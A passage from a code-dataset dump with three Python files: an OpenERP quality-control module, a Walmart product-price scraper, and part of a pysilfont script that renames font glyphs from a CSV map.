[x[0] for x in result]\n new_ids = []\n syns = self.pool.get('qc.proof.synonym').name_search(cr, uid, name, args, operator, context, limit)\n syns = [x[0] for x in syns]\n for syn in self.pool.get('qc.proof.synonym').browse(cr, uid, syns, context):\n if not syn.proof_id.id in ids:\n new_ids.append(syn.proof_id.id)\n result += self.name_get(cr, uid, new_ids, context)\n return result\n\n # qc.proof\n def name_get(self, cr, uid, ids, context=None):\n result = []\n for proof in self.browse(cr, uid, ids, context):\n text = proof.name\n if proof.synonyms:\n text += \" [%s]\" % proof.synonyms\n result.append((proof.id, text))\n return result\n\n\nqc_proof()\n\n\nclass qc_proof_synonym(osv.osv):\n \"\"\"\n Proofs may have synonyms. These are used because suppliers may use\n different names for the same proof.\n \"\"\"\n _name = 'qc.proof.synonym'\n\n _columns = {\n 'name': fields.char('Name', size=200, required=True, select=True,\n translate=True),\n 'proof_id': fields.many2one('qc.proof', 'Proof', required=True),\n 'company_id': fields.many2one('res.company', 'Company'),\n }\n\n _defaults = {\n 'company_id': lambda self, cr, uid, c:\n self.pool.get('res.company')._company_default_get(cr, uid,\n 'qc.proof.synonym',\n context=c),\n }\n\n\nqc_proof_synonym()\n\n\ndef _links_get(self, cr, uid, context={}):\n \"\"\"\n Returns a list of tuples of 'model names' and 'Model title' to use as\n typs in reference fields.\n \"\"\"\n test_link_proxy = self.pool.get('qc.test.link')\n ids = test_link_proxy.search(cr, uid, [])\n res = test_link_proxy.read(cr, uid, ids, ['object', 'name'], context)\n return [(r['object'], r['name']) for r in res]\n\n\nclass qc_test_link(osv.osv):\n \"\"\"\n This model is used to manage available models to link in the Reference\n fields of qc.test and qc.test.template\n \"\"\"\n _name = 'qc.test.link'\n _description = \"Test Reference Types\"\n _order = 'priority'\n\n _columns = {\n 'name': fields.char('Name', size=64, required=True, translate=True),\n 'object': fields.char('Object', size=64, required=True),\n 'priority': fields.integer('Priority'),\n }\n\n _defaults = {\n 'priority': 5,\n }\n\n\nqc_test_link()\n\n\nclass qc_test_template_category(osv.osv):\n \"\"\"\n This model is used to categorize proof templates.\n \"\"\"\n _name = 'qc.test.template.category'\n\n # qc.test.template.category\n def name_get(self, cr, uid, ids, context=None):\n if not len(ids):\n return []\n reads = self.read(cr, uid, ids, [\n 'name',\n 'parent_id',\n ], context=context)\n res = []\n for record in reads:\n name = record['name']\n if record['parent_id']:\n name = record['parent_id'][1] + ' / ' + name\n res.append((record['id'], name))\n return res\n\n # qc.test.template.category\n def _complete_name(self, cr, uid, ids, prop, unknow_none, context=None):\n res = self.name_get(cr, uid, ids, context=context)\n return dict(res)\n\n # qc.test.template.category\n def _check_recursion(self, cr, uid, ids):\n level = 100\n while len(ids):\n cr.execute(\"\"\"SELECT DISTINCT parent_id\n FROM qc_test_template_category\n WHERE id IN (%s)\"\"\" % \",\".join(map(str, ids)))\n ids = [x[0] for x in cr.fetchall() if x[0] != None]\n if not level:\n return False\n level -= 1\n return True\n\n _columns = {\n 'name': fields.char('Category Name', required=True, size=64,\n translate=True),\n 'parent_id': fields.many2one('qc.test.template.category',\n 'Parent Category', select=True),\n 'complete_name': fields.function(_complete_name, method=True,\n type='char', string='Full Name'),\n 'child_ids': fields.one2many('qc.test.template.category', 'parent_id',\n 'Child Categories'),\n 'active': fields.boolean('Active', help=\"The active field allows you \"\n \"to hide the category without removing it.\"),\n 'company_id': fields.many2one('res.company', 'Company'),\n }\n\n _constraints = [\n (_check_recursion, 'Error ! You can not create recursive categories.',\n ['parent_id'])\n ]\n\n _defaults = {\n 'active': lambda *a: True,\n 'company_id': lambda self, cr, uid, c:\n self.pool.get('res.company')._company_default_get(cr, uid,\n 'qc.test.template.category',\n context=c),\n }\n\n\nqc_test_template_category()\n\n\nclass qc_test_template(osv.osv):\n \"\"\"\n A template is a group of proofs to with the values that make them valid.\n \"\"\"\n _name = 'qc.test.template'\n _description = 'Test Template'\n\n # qc.test.template\n def _default_name(self, cr, uid, context=None):\n if context and context.get('reference_model', False):\n ref_id = context.get('reference_id')\n if not ref_id:\n ref_id = context.get('active_id')\n if ref_id:\n source = self.pool.get(context['reference_model']).browse(cr,\n uid,\n ref_id,\n context)\n if hasattr(source, 'name'):\n return source.name\n\n # qc.test.template\n def _default_object_id(self, cr, uid, context=None):\n if context and context.get('reference_model', False):\n return '%s,%d' % (context['reference_model'],\n context['reference_id'])\n else:\n return False\n\n # qc.test.template\n def _default_type(self, cr, uid, context=None):\n if context and context.get('reference_model'):\n return 'related'\n else:\n return False\n\n _columns = {\n 'active': fields.boolean('Active', select=True),\n 'name': fields.char('Name', size=200, required=True, translate=True,\n select=True),\n 'test_template_line_ids': fields.one2many('qc.test.template.line',\n 'test_template_id', 'Lines'),\n 'object_id': fields.reference('Reference Object', selection=_links_get,\n size=128),\n 'fill_correct_values': fields.boolean('Fill With Correct Values'),\n 'type': fields.selection([\n ('generic', 'Generic'),\n ('related', 'Related'),\n ], 'Type', select=True),\n 'category_id': fields.many2one('qc.test.template.category',\n 'Category'),\n 'formula': fields.text('Formula'),\n 'company_id': fields.many2one('res.company', 'Company'),\n 'uom_id': fields.many2one('product.uom', 'UoM'),\n }\n\n _defaults = {\n 'name': _default_name,\n 'active': lambda *a: True,\n 'object_id': _default_object_id,\n 'type': _default_type,\n 'company_id': lambda self, cr, uid, c:\n self.pool.get('res.company')._company_default_get(cr, uid,\n 'qc.test.template',\n context=c),\n }\n\n\nqc_test_template()\n\n\nclass qc_test_template_line(osv.osv):\n _name = 'qc.test.template.line'\n _order = 'sequence asc'\n\n def onchange_proof_id(self, cr, uid, ids, proof_id, context):\n if not proof_id:\n return {}\n\n proof = self.pool.get('qc.proof').browse(cr, uid, proof_id, context)\n return {\n 'value': {\n 'type': proof.type,\n }}\n\n _columns = {\n 'name': fields.char('Name', size=64),\n 'sequence': fields.integer('Sequence', required=True),\n 'test_template_id': fields.many2one('qc.test.template',\n 'Test Template', select=True),\n 'proof_id': fields.many2one('qc.proof', 'Proof', required=True,\n select=True),\n 'valid_value_ids': fields.many2many('qc.posible.value',\n 'qc_template_value_rel',\n 'template_line_id', 'value_id',\n 'Values'),\n 'method_id': fields.many2one('qc.proof.method', 'Method', select=True),\n 'notes': fields.text('Notes'),\n # Only if quantitative\n 'min_value': fields.float('Min',\n digits_compute=dp.get_precision(\n 'Quality Control')),\n # Only if quantitative\n 'max_value': fields.float('Max',\n digits_compute=dp.get_precision(\n 'Quality Control')),\n # Only if quantitative\n 'uom_id': fields.many2one('product.uom', 'UoM'),\n 'type': fields.selection([\n ('qualitative', 'Qualitative'),\n ('quantitative', 'Quantitative'),\n ], 'Type', select=True),\n 'company_id': fields.related('test_template_id', 'company_id',\n type='many2one', relation='res.company',\n string='Company',\n store=True, readonly=True),\n }\n\n _defaults = {\n 'sequence': lambda *b: 1,\n }\n\n\nqc_test_template_line()\n\n\nclass qc_test(osv.osv):\n \"\"\"\n This model contains an instance of a test template.\n \"\"\"\n _name = 'qc.test'\n\n # qc.test\n def _success(self, cr, uid, ids, field_name, arg, context=None):\n result = {}\n for test in self.browse(cr, uid, ids, context):\n success = True\n proof = {}\n for line in test.test_line_ids:\n # Check the partner (test method). Check that at least the test\n # is a test method with some success.\n proof[line.proof_id.id] = (proof.get(line.proof_id.id, False)\n or line.success)\n\n for p in proof:\n if not proof[p]:\n success = False\n break\n\n result[test.id] = success\n return result\n\n # qc.test\n def _default_object_id(self, cr, uid, context=None):\n if context and context.get('reference_model', False):\n return '%s,%d' % (\n context['reference_model'],\n context['reference_id'])\n else:\n return False\n\n # qc.test\n def _action_calc_formula(self, cr, uid, ids, field_names, args, context):\n result = {}.fromkeys(ids, 0)\n for test in self.browse(cr, uid, ids, context):\n vals = {}\n for line in test.test_line_ids:\n if line.name and line.proof_type == 'quantitative':\n vals[line.name] = line.actual_value_qt\n\n if not test.formula:\n result[test.id] = 0\n continue\n\n try:\n value = safe_eval(test.formula, vals)\n result[test.id] = value\n except NameError:\n pass\n #raise osv.except_osv( _('Error:'), msg )\n return result\n\n _columns = {\n 'name': fields.char('Number', size=64, required=True, select=True),\n 'date': fields.datetime('Date', required=True, readonly=True,\n select=True, states={\n 'draft': [('readonly', False)],\n }),\n 'object_id': fields.reference('Reference', selection=_links_get,\n size=128, readonly=True, select=True,\n states={\n 'draft': [('readonly', False)],\n }),\n 'test_template_id': fields.many2one('qc.test.template', 'Test template',\n select=True, states={\n 'success': [('readonly', True)],\n 'failed': [('readonly', True)],\n }),\n 'test_line_ids': fields.one2many('qc.test.line', 'test_id',\n 'Test Lines', states={\n 'success': [('readonly', True)],\n 'failed': [('readonly', True)],\n }),\n 'test_internal_note': fields.text('Internal Note', states={\n 'success': [('readonly', True)],\n 'failed': [('readonly', True)],\n }),\n 'test_external_note': fields.text('External Note', states={\n 'success': [('readonly', True)],\n 'failed': [('readonly', True)],\n }),\n 'state': fields.selection(\n [('draft', 'Draft'), ('waiting', 'Waiting Approval'),\n ('success', 'Quality Success'), ('failed', 'Quality Failed'), ],\n 'Status', readonly=True, select=True),\n 'success': fields.function(_success, method=True, type='boolean',\n string='Success', select=True, store=True,\n help='This field will be active if all tests have succeeded.'),\n 'formula': fields.text('Formula', readonly=1),\n 'formula_result': fields.function(_action_calc_formula, method=True,\n string='Formula Value', type='float',\n digits_compute=dp.get_precision(\n 'Quality Control')),\n 'uom_id': fields.many2one('product.uom', 'UoM'),\n 'company_id': fields.many2one('res.company', 'Company'),\n }\n\n _defaults = {\n 'name': lambda obj, cr, uid, context: \\\n obj.pool.get('ir.sequence').get(cr, uid, 'qc.test'),\n 'date': lambda *a: time.strftime('%Y-%m-%d %H:%M:%S'),\n 'state': 'draft',\n 'success': False,\n 'object_id': _default_object_id,\n 'company_id': lambda s, cr, uid, c: s.pool.get('res.company') \\\n ._company_default_get(cr, uid, 'qc.test', context=c),\n }\n\n # qc.test\n def _calc_line_vals_from_template(self, cr, uid, test_id, template_line,\n fill_correct_values, context):\n data = {\n 'name': template_line.name,\n 'test_id': test_id,\n 'method_id': template_line.method_id.id,\n 'proof_id': template_line.proof_id.id,\n 'test_template_line_id': template_line.id,\n 'notes': template_line.notes,\n 'min_value': template_line.min_value,\n 'max_value': template_line.max_value,\n 'uom_id': template_line.uom_id.id,\n 'test_uom_id': template_line.uom_id.id,\n 'proof_type': template_line.proof_id.type,\n }\n if fill_correct_values:\n if template_line.type == 'qualitative':\n # Fill with the first correct value found.\n data['actual_value_ql'] = (len(template_line.valid_value_ids)\n and template_line.valid_value_ids[0]\n and template_line.valid_value_ids[\n 0].id\n or False)\n else:\n # Fill with value in the range.\n data['actual_value_qt'] = template_line.min_value\n data['test_uom_id'] = template_line.uom_id.id\n return data\n\n # qc.test\n def set_test_template(self, cr, uid, ids, template_id, force_fill=False,\n context=None):\n test_line_proxy = self.pool.get('qc.test.line')\n\n if context is None:\n context = {}\n template = self.pool.get('qc.test.template').browse(cr, uid,\n template_id,\n context=context)\n for test_id in ids:\n self.write(cr, uid, test_id, {\n 'test_template_id': template_id,\n 'formula': template.formula,\n 'uom_id': template.uom_id and template.uom_id.id\n }, context)\n\n test = self.browse(cr, uid, test_id, context)\n\n if len(test.test_line_ids) > 0:\n test_line_proxy.unlink(cr, uid,\n [x.id for x in test.test_line_ids],\n context)\n\n fill = test.test_template_id.fill_correct_values or False\n for line in test.test_template_id.test_template_line_ids:\n data = self._calc_line_vals_from_template(cr, uid, test_id,\n line,\n fill or force_fill,\n context)\n\n test_line_id = test_line_proxy.create(cr, uid,\n data, context)\n test_line_proxy.write(cr, uid, [test_line_id], {\n 'valid_value_ids': [\n (6, 0, [x.id for x in line.valid_value_ids]),\n ],\n }, context)\n # It writes again the test to force to recalculate 'success' field\n self.write(cr, uid, test_id, {\n 'formula': template.formula,\n 'uom_id': template.uom_id and template.uom_id.id\n }, context)\n return True\n\n # qc.test\n def test_state(self, cr, uid, ids, mode, context):\n '''\n Currently not used.\n Probably it will be completed (this code is a fake) when the\n nan_stock_production_lot_quality_control module will be implemented\n '''\n quality_check = False\n\n if mode == 'failed':\n return not quality_check\n if mode == 'success':\n return quality_check\n return False\n\n # qc.test\n def action_workflow_draft(self, cr, uid, ids, context=None):\n self.write(cr, uid, ids, {\n 'state': 'draft'\n }, context)\n return True\n\n # qc.test\n def action_workflow_waiting(self, cr, uid, ids, context=None):\n self.write(cr, uid, ids, {\n 'state': 'waiting'\n }, context)\n return True\n\n # qc.test\n def action_workflow_success(self, cr, uid, ids, context=None):\n self.write(cr, uid, ids, {\n 'state': 'success'\n }, context)\n return True\n\n # qc.test\n def action_workflow_failed(self, cr, uid, ids, context=None):\n self.write(cr, uid, ids, {\n 'state': 'failed'\n }, context)\n return True\n\n # qc.test\n def test_workflow_draft(self, cr, uid, ids, context=None):\n # if qc_test.state=='success':\n return True\n\n # qc.test\n def copy(self, cr, uid, test_id, default=None, context=None):\n if context is None:\n context = {}\n\n if default is None:\n default = {}\n\n if not 'name' in default:\n default['name'] = self.pool.get('ir.sequence').get(cr, uid,\n 'qc.test')\n if not 'date' in default:\n default['date'] = time.strftime('%Y-%m-%d %H:%M:%S')\n\n return super(qc_test, self).copy(cr, uid, test_id, default, context)\n\n # qc.test\n def create(self, cr, uid, datas, context=None):\n if context and context.get('reference_model'):\n datas['object_id'] = context['reference_model'] + \",\" + \\\n str(context['reference_id'])\n return super(qc_test, self).create(cr, uid, datas, context=context)\n\n\nqc_test()\n\n\nclass qc_test_line(osv.osv):\n _name = 'qc.test.line'\n _rec_name = 'proof_id'\n\n # qc.test.line\n def quality_test_check(self, cr, uid, ids, field_name, field_value,\n context):\n res = {}\n lines = self.browse(cr, uid, ids, context)\n for line in lines:\n if line.proof_type == 'qualitative':\n res[line.id] = self.quality_test_qualitative_check(cr, uid,\n line,\n context)\n else:\n res[line.id] = self.quality_test_quantitative_check(cr, uid,\n line,\n context)\n return res\n\n # qc.test.line\n def quality_test_qualitative_check(self, cr, uid, test_line, context):\n if test_line.actual_value_ql in test_line.valid_value_ids:\n return True\n else:\n return False\n\n # qc.test.line\n def quality_test_quantitative_check(self, cr, uid, test_line, context):\n amount = self.pool.get('product.uom')._compute_qty(cr, uid,\n test_line.uom_id.id,\n test_line.actual_value_qt,\n test_line.test_uom_id.id)\n\n try:\n damount = Decimal(str(amount))\n min_amount = Decimal(str(test_line.min_value))\n max_amount = Decimal(str(test_line.max_value))\n except NameError:\n return False\n\n if damount >= min_amount and damount <= max_amount:\n return True\n else:\n return False\n\n _columns = {\n 'name': fields.char('Name', size=64),\n 'test_id': fields.many2one('qc.test', 'Test'),\n 'test_template_line_id': fields.many2one('qc.test.template.line',\n 'Test Template Line',\n readonly=True),\n 'proof_id': fields.many2one('qc.proof', 'Proof', readonly=True),\n 'method_id': fields.many2one('qc.proof.method', 'Method',\n readonly=True),\n 'valid_value_ids': fields.many2many('qc.posible.value',\n 'qc_test_value_rel', 'test_line_id',\n 'value_id', 'Values'),\n 'actual_value_qt': fields.float('Qt.Value',\n digits_compute=dp.get_precision(\n 'Quality Control'),\n help=\"Value of the result if it is a quantitative proof.\"),\n 'actual_value_ql': fields.many2one('qc.posible.value', 'Ql.Value',\n help=\"Value of the result if it is a qualitative proof.\"),\n 'notes': fields.text('Notes', readonly=True),\n 'min_value': fields.float('Min', readonly=True,\n digits_compute=dp.get_precision(\n 'Quality Control'),\n help=\"Minimum valid value if it is a quantitative proof.\"),\n 'max_value': fields.float('Max', readonly=True,\n digits_compute=dp.get_precision(\n 'Quality Control'),\n help=\"Maximum valid value if it is a quantitative proof.\"),\n 'uom_id': fields.many2one('product.uom', 'UoM', readonly=True,\n help=\"UoM for minimum and maximum values if it is a quantitative proof.\"),\n 'test_uom_id': fields.many2one('product.uom', 'Uom Test',\n help=\"UoM of the value of the result if it is a quantitative proof.\"),\n 'proof_type': fields.selection([\n ('qualitative', 'Qualitative'),\n ('quantitative', 'Quantitative'),\n ], 'Proof Type', readonly=True),\n 'success': fields.function(quality_test_check, type='boolean',\n method=True, string=\"Success?\", select=True),\n 'company_id': fields.related('test_id', 'company_id', type='many2one',\n relation='res.company', string='Company',\n store=True,\n readonly=True),\n }\n\n\nqc_test_line()\n\n\nclass qc_test_wizard(osv.osv_memory):\n \"\"\"This wizard is responsible for setting the proof template for a given\n test. This will not only fill in the 'test_template_id' field, but will\n also fill in all lines of the test with the corresponding lines of the\n template.\"\"\"\n _name = 'qc.test.set.template.wizard'\n\n # qc.test.set.template.wizard\n def _default_test_template_id(self, cr, uid, context):\n test_id = context.get('active_id')\n test = self.pool.get('qc.test').browse(cr, uid, test_id, context)\n ids = self.pool.get('qc.test.template').search(cr, uid, [\n ('object_id', '=', test.object_id),\n ], context=context)\n return ids and ids[0] or False\n\n _columns = {\n 'test_template_id': fields.many2one('qc.test.template', 'Template'),\n }\n\n _defaults = {\n 'test_template_id': _default_test_template_id,\n }\n\n # qc.test.set.template.wizard\n def action_create_test(self, cr, uid, ids, context):\n wizard = self.browse(cr, uid, ids[0], context)\n self.pool.get('qc.test').set_test_template(cr, uid,\n [context['active_id']],\n wizard.test_template_id.id,\n context=context)\n return {\n 'type': 'ir.actions.act_window_close',\n }\n\n # qc.test.set.template.wizard\n def action_cancel(self, cr, uid, ids, context=None):\n return {\n 'type': 'ir.actions.act_window_close',\n }\n\n\nqc_test_wizard()\n\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:\n","sub_path":"quality_control.py","file_name":"quality_control.py","file_ext":"py","file_size_in_byte":33421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"627588895","text":"from bs4 import BeautifulSoup\nimport requests\n\n\nclass Walmart:\n def __init__(self, product_model):\n self.price = \"\"\n self.product_model = product_model\n self.product_search_address = 'https://www.walmart.com/search/?query={}&cat_id=3944&typeahead={}' \\\n .format(product_model, product_model)\n self.product_address = None\n self.headers = {\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0',\n }\n\n def retrieve_product_address(self):\n try:\n data = requests.get(self.product_search_address, headers=self.headers)\n data = data.text\n soup = BeautifulSoup(data, \"lxml\")\n self.product_address = \"https://www.walmart.com\" + \\\n soup.find('a', 'product-title-link line-clamp line-clamp-2')['href']\n\n except AttributeError:\n self.product_address = None\n\n except TypeError:\n self.product_address = None\n\n def retrieve_product_price(self):\n if self.product_address is not None:\n count = 0\n data = requests.get(self.product_address, headers=self.headers)\n data = data.text\n soup = BeautifulSoup(data, \"lxml\")\n price = soup.find('div', 'prod-PriceHero').text\n for letter in price:\n if letter == \"$\":\n count += 1\n if count == 2:\n return\n else:\n self.price += letter\n else:\n self.price += letter\n\n else:\n self.price = \"Could Not Find Price\"\n","sub_path":"walmart_scraper/walmart_scraper.py","file_name":"walmart_scraper.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"17067450","text":"#!/usr/bin/env python\n__doc__ = '''Assign new working names to glyphs based on csv input file\n- csv format oldname,newname'''\n__url__ = 'http://github.com/silnrsi/pysilfont'\n__copyright__ = 'Copyright (c) 2017 SIL International (http://www.sil.org)'\n__license__ = 'Released under the MIT License (http://opensource.org/licenses/MIT)'\n__author__ = 'Bob Hallissy'\n\nfrom silfont.core import execute\nfrom xml.etree import ElementTree as ET\nimport re\nimport os\nfrom glob import glob\n\nargspec = [\n ('ifont',{'help': 'Input font file'}, {'type': 'infont'}),\n ('ofont',{'help': 'Output font file','nargs': '?' }, {'type': 'outfont'}),\n ('-c', '--classfile', {'help': 'Classes file'}, {}),\n ('-i','--input',{'help': 'Input csv file'}, {'type': 'incsv', 'def': 'namemap.csv'}),\n ('--mergecomps',{'help': 'turn on component merge', 'action': 'store_true', 'default': False},{}),\n ('-l','--log',{'help': 'Log file'}, {'type': 'outfile', 'def': '_renameglyphs.log'})]\n\ncsvmap={}\n\ndef doit(args) :\n global csvmap\n\n font = args.ifont\n incsv = args.input\n logger = args.logger\n mergemode = args.mergecomps\n\n # List of secondary layers (ie layers other than the default)\n secondarylayers = [x for x in font.layers if x.layername != \"public.default\"]\n\n # remember all requested mappings:\n masterMap = {}\n\n # remember all identity mappings\n identityMap = set()\n\n # remember all glyphs actually renamed:\n nameMap = {}\n\n # Obtain lib.plist glyph order(s) and psnames if they exist:\n publicGlyphOrder = csGlyphOrder = psnames = displayStrings = None\n if hasattr(font, 'lib'):\n if 'public.glyphOrder' in font.lib:\n publicGlyphOrder = font.lib.getval('public.glyphOrder') # This is an array\n if 'com.schriftgestaltung.glyphOrder' in font.lib:\n csGlyphOrder = font.lib.getval('com.schriftgestaltung.glyphOrder') # This is an array\n if 'public.postscriptNames' in font.lib:\n psnames = font.lib.getval('public.postscriptNames') # This is a dict keyed by glyphnames\n if 'com.schriftgestaltung.customParameter.GSFont.DisplayStrings' in font.lib:\n displayStrings = font.lib.getval('com.schriftgestaltung.customParameter.GSFont.DisplayStrings')\n else:\n logger.log(\"no lib.plist found in font\", \"W\")\n\n # Renaming within the UFO is done in two passes to make sure we can handle circular renames such as:\n # someglyph.alt = someglyph\n # someglyph = someglyph.alt\n\n # Note that the font, public.glyphOrder and GlyphsApp glyphOrder are all\n # done independently since the same glyph names are not necessarily in all\n # three structures.\n\n # First pass: process all records of csv, and for each glyph that is to be renamed:\n # If the new glyphname is not already present, go ahead and rename it now.\n # If the new glyph name already exists, rename the glyph to a temporary name\n # and put relevant details in saveforlater[]\n\n saveforlaterFont = [] # For the font itself\n saveforlaterPGO = [] # For public.GlyphOrder\n saveforlaterCSGO = [] # For GlyphsApp GlyphOrder (com.schriftgestaltung.glyphOrder)\n saveforlaterPSN = [] # For public.postscriptNames\n deletelater = [] # Glyphs we'll delete after merging\n\n for r in incsv:\n oldname = r[0].strip()\n newname = r[1].strip()\n # ignore header row and rows where the newname is blank or a comment marker\n if oldname == \"Name\" or oldname.startswith('#') or newname == \"\":\n continue\n if len(oldname)==0:\n logger.log('empty glyph oldname in glyph_data; ignored', 'W')\n continue\n csvmap[oldname]=newname\n\n if oldname == newname:\n # Remember names that don't need to change\n identityMap.add(newname)\n else:\n # Remember all names that need to change\n masterMap[oldname] = newname\n\n # Handle font first:\n if oldname not in font.deflayer:\n logger.log(\"glyph name not in font: \" + oldname , \"I\")\n elif newname not in font.deflayer:\n for layer in secondarylayers:\n if newname in layer:\n logger.log(\"Glyph %s is already in non-default layers; can't rename %s\" % (newname, oldname), \"S\")\n # Ok, this case is easy: just rename the glyph in all layers\n for layer in font.layers:\n if oldname in layer: layer[oldname].name = newname\n nameMap[oldname] = newname\n logger.log(\"Pass 1 (Font): Renamed %s to %s\" % (oldname, newname), \"I\")\n elif mergemode:\n mergeglyphs(font.deflayer[oldname], font.deflayer[newname])\n for layer in secondarylayers:\n if oldname in layer:\n if newname in layer:\n mergeglyphs(layer[oldname], layer[newname])\n else:\n layer[oldname].name = newname\n\n nameMap[oldname] = newname\n deletelater.append(oldname)\n logger.log(\"Pass 1 (Font): merged %s to %s\" % (oldname, newname), \"I\")\n else:\n # newname already in font -- but it might get renamed later in which case this isn't actually a problem.\n # For now, then, rename glyph to a temporary name and remember it for second pass\n tempname = gettempname(lambda n : n not in font.deflayer)\n for layer in font.layers:\n if oldname in layer:\n layer[oldname].name = tempname\n saveforlaterFont.append( (tempname, oldname, newname) )\n\n # Similar algorithm for public.glyphOrder, if present:\n if publicGlyphOrder:\n if oldname not in publicGlyphOrder:\n logger.log(\"glyph name not in publicGlyphorder: \" + oldname , \"I\")\n else:\n x = publicGlyphOrder.index(oldname)\n if newname not in publicGlyphOrder:\n publicGlyphOrder[x] = newname\n nameMap[oldname] = newname\n logger.log(\"Pass 1 (PGO): Renamed %s to %s\" % (oldname, newname), \"I\")\n elif mergemode:\n del publicGlyphOrder[x]\n nameMap[oldname] = newname\n logger.log(\"Pass 1 (PGO): Removed %s (now using %s)\" % (oldname, newname), \"I\")\n else:\n tempname = gettempname(lambda n : n not in publicGlyphOrder)\n publicGlyphOrder[x] = tempname\n saveforlaterPGO.append( (x, oldname, newname) )\n\n # And for GlyphsApp glyph order, if present:\n if csGlyphOrder:\n if oldname not in csGlyphOrder:\n logger.log(\"glyph name not in csGlyphorder: \" + oldname , \"I\")\n else:\n x = csGlyphOrder.index(oldname)\n if newname not in csGlyphOrder:\n csGlyphOrder[x] = newname\n nameMap[oldname] = newname\n logger.log(\"Pass 1 (csGO): Renamed %s to %s\" % (oldname, newname), \"I\")\n elif mergemode:\n del csGlyphOrder[x]\n nameMap[oldname] = newname\n logger.log(\"Pass 1 (csGO): Removed %s (now using %s)\" % (oldname, newname), \"I\")\n else:\n tempname = gettempname(lambda n : n not in csGlyphOrder)\n csGlyphOrder[x] = tempname\n saveforlaterCSGO.append( (x, oldname, newname) )\n\n # Finally, psnames\n if psnames:\n if oldname not in psnames:\n logger.log(\"glyph name not in psnames: \" + oldname , \"I\")\n elif newname not in psnames:\n psnames[newname] = psnames.pop(oldname)\n nameMap[oldname] = newname\n logger.log(\"Pass 1 (psn): Renamed %s to %s\" % (oldname, newname), \"I\")\n elif mergemode:\n del psnames[oldname]\n nameMap[oldname] = newname\n logger.log(\"Pass 1 (psn): Removed %s (now using %s)\" % (oldname, newname), \"I\")\n else:\n tempname = gettempname(lambda n: n not in psnames)\n psnames[tempname] = psnames.pop(oldname)\n saveforlaterPSN.append( (tempname, oldname, newname))\n\n # Second pass: now we can reprocess those things we saved for later:\n # If the new glyphname is no longer present, we can complete the renaming\n # Otherwise we've got a fatal error\n\n for j in saveforlaterFont:\n tempname, oldname, newname = j\n if newname in font.deflayer: # Only need to check deflayer, since (if present) it would have been renamed in all\n # Ok, this really is a problem\n logger.log(\"Glyph %s already in font; can't rename %s\" % (newname, oldname), \"S\")\n else:\n for layer in font.layers:\n if tempname in layer:\n layer[tempname].name = newname\n nameMap[oldname] = newname\n logger.log(\"Pass 2 (Font): Renamed %s to %s\" % (oldname, newname), \"I\")\n\n for j in saveforlaterPGO:\n x, oldname, newname = j\n if newname in publicGlyphOrder:\n # Ok, this really is a problem\n logger.log(\"Glyph %s already in public.GlyphOrder; can't rename %s\" % (newname, oldname), \"S\")\n else:\n publicGlyphOrder[x] = newname\n nameMap[oldname] = newname\n logger.log(\"Pass 2 (PGO): Renamed %s to %s\" % (oldname, newname), \"I\")\n\n for j in saveforlaterCSGO:\n x, oldname, newname = j\n if newname in csGlyphOrder:\n # Ok, this really is a problem\n logger.log(\"Glyph %s already in com.schriftgestaltung.glyphOrder; can't rename %s\" % (newname, oldname), \"S\")\n else:\n csGlyphOrder[x] = newname\n nameMap[oldname] = newname\n logger.log(\"Pass 2 (csGO): Renamed %s to %s\" % (oldname, newname), \"I\")\n\n for tempname, oldname, newname in saveforlaterPSN:\n if newname in psnames:\n # Ok, this really is a problem\n logger.log(\"Glyph %s already in public.postscriptNames; can't rename %s\" % (newname, oldname), \"S\")\n else:\n psnames[newname] = psnames.pop(tempname)\n nameMap[oldname] = newname\n logger.log(\"Pass 2 (psn): Renamed %s to %s\" % (oldname, newname), \"I\")\n\n # Rebuild font structures from the modified lists we have:\n\n # Rebuild glyph order elements:\n if publicGlyphOrder:\n array = ET.Element(\"array\")\n for name in publicGlyphOrder:\n ET.SubElement(array, \"string\").text = name\n font.lib.setelem(\"public.glyphOrder\", array)\n\n if csGlyphOrder:\n array = ET.Element(\"array\")\n for name in csGlyphOrder:\n ET.SubElement(array, \"string\").text = name\n font.lib.setelem(\"com.schriftgestaltung.glyphOrder\", array)\n\n # Rebuild postscriptNames:\n if psnames:\n dict = ET.Element(\"dict\")\n for n in psnames:\n ET.SubElement(dict, \"key\").text = n\n ET.SubElement(dict, \"string\").text = psnames[n]\n font.lib.setelem(\"public.postscriptNames\", dict)\n\n # Iterate over all glyphs, and fix up any components that reference renamed glyphs\n for layer in font.layers:\n for name in layer:\n glyph = layer[name]\n for component in glyph.etree.findall('./outline/component[@base]'):\n oldname = component.get('base')\n if oldname in nameMap:\n component.set('base', nameMap[oldname])\n logger.log(f'renamed component base {oldname} to {component.get(\"base\")} in glyph {name} layer {layer.layername}', 'I')\n lib = glyph['lib']\n if lib:\n if 'com.schriftgestaltung.Glyphs.ComponentInfo' in lib:\n for component in lib.getval('com.schriftgestaltung.Glyphs.ComponentInfo'):\n oldname = component['name']\n if oldname in nameMap:\n component['name'] = nameMap[oldname]\n logger.log(f'renamed component info {oldname} to {component[\"name\"]} in glyph {name} layer {layer.layername}', 'I')\n\n # Delete anything we no longer need:\n for name in deletelater:\n for layer in font.layers:\n if name in layer: layer.delGlyph(name)\n logger.log(\"glyph %s removed\" % name, \"I\")\n\n logger.log(\"%d glyphs renamed in UFO\" % (len(nameMap)), \"P\")\n\n # Update Display Strings\n\n if displayStrings:\n changed = False\n glyphRE = re.compile(r'/([a-zA-Z0-9_.-]+)') # regex to match / followed by a glyph name\n for i, dispstr in enumerate(displayStrings): # Passing the glyphSub function to .sub() causes it to\n displayStrings[i] = glyphRE.sub(glyphsub, dispstr) # every non-overlapping occurrence of pattern\n if displayStrings[i] != dispstr:\n changed = True\n if changed:\n array = ET.Element(\"array\")\n for dispstr in displayStrings:\n ET.SubElement(array, \"string\").text = dispstr\n font.lib.setelem('com.schriftgestaltung.customParameter.GSFont.DisplayStrings', array)\n logger.log(\"com.schriftgestaltung.customParameter.GSFont.DisplayStrings updated\", \"I\")\n\n # If a classfile was provided, change names within it also\n #\n if args.classfile:\n\n logger.log(\"Processing classfile {}\".format(args.classfile), \"P\")\n\n # In order to preserve comments we use our own TreeBuilder\n class MyTreeBuilder(ET.TreeBuilder):\n def comment(self, data):\n self.start(ET.Comment, {})\n self.data(data)\n self.end(ET.Comment)\n\n # RE to match separators between 